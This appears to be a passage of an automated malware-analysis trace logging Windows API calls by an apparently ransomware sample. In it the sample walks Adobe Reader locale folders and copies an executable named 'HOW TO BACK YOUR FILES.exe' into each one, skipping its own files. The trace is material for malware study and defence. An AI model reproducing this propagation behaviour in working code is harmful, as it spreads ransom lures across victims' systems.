	[0058.340] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ad82910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ad82910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.340] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.340] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.341] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services"
	[0058.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0058.341] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services") returned 69
	[0058.341] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services"
	[0058.341] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.341] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.380] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.380] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3adf4d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3adf4d30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.380] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.380] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.381] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU"
	[0058.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bff80 | out: hHeap=0x580000) returned 1
	[0058.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0058.381] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU") returned 60
	[0058.381] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU"
	[0058.381] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.381] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.421] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.421] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ae40ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ae40ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.421] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.421] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.422] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services"
	[0058.422] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.422] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0058.422] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services") returned 69
	[0058.422] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services"
	[0058.422] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.422] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.431] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.431] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ae67150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ae67150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.431] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.431] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.431] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO"
	[0058.431] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfef8 | out: hHeap=0x580000) returned 1
	[0058.431] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0058.432] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO") returned 60
	[0058.432] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO"
	[0058.432] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.432] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.437] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.437] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ae67150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ae67150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.437] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.437] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.438] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services"
	[0058.438] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.438] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0058.438] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services") returned 69
	[0058.438] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services"
	[0058.438] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.438] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.443] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.443] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ae8d2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ae8d2b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.443] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.443] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.443] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR"
	[0058.443] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfe70 | out: hHeap=0x580000) returned 1
	[0058.443] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0058.443] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR") returned 60
	[0058.444] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR"
	[0058.444] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.444] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.449] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.449] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ae8d2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ae8d2b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.449] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.449] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.449] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services"
	[0058.449] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.449] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0058.449] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services") returned 69
	[0058.449] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services"
	[0058.449] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.449] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.454] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.454] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ae8d2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ae8d2b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.455] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.455] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.455] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL"
	[0058.455] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfde8 | out: hHeap=0x580000) returned 1
	[0058.455] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0058.455] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL") returned 60
	[0058.455] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL"
	[0058.455] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.455] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.460] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.460] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aeb3410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aeb3410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.460] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.460] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.460] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services"
	[0058.460] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.460] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0058.460] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services") returned 69
	[0058.460] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services"
	[0058.460] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.461] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.466] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.466] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aeb3410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aeb3410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.466] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.466] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.466] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL"
	[0058.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfd60 | out: hHeap=0x580000) returned 1
	[0058.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0058.466] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL") returned 60
	[0058.466] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL"
	[0058.466] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.466] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.480] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.480] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aeb3410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aeb3410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.480] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.480] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.480] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services"
	[0058.480] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.480] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0058.480] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services") returned 69
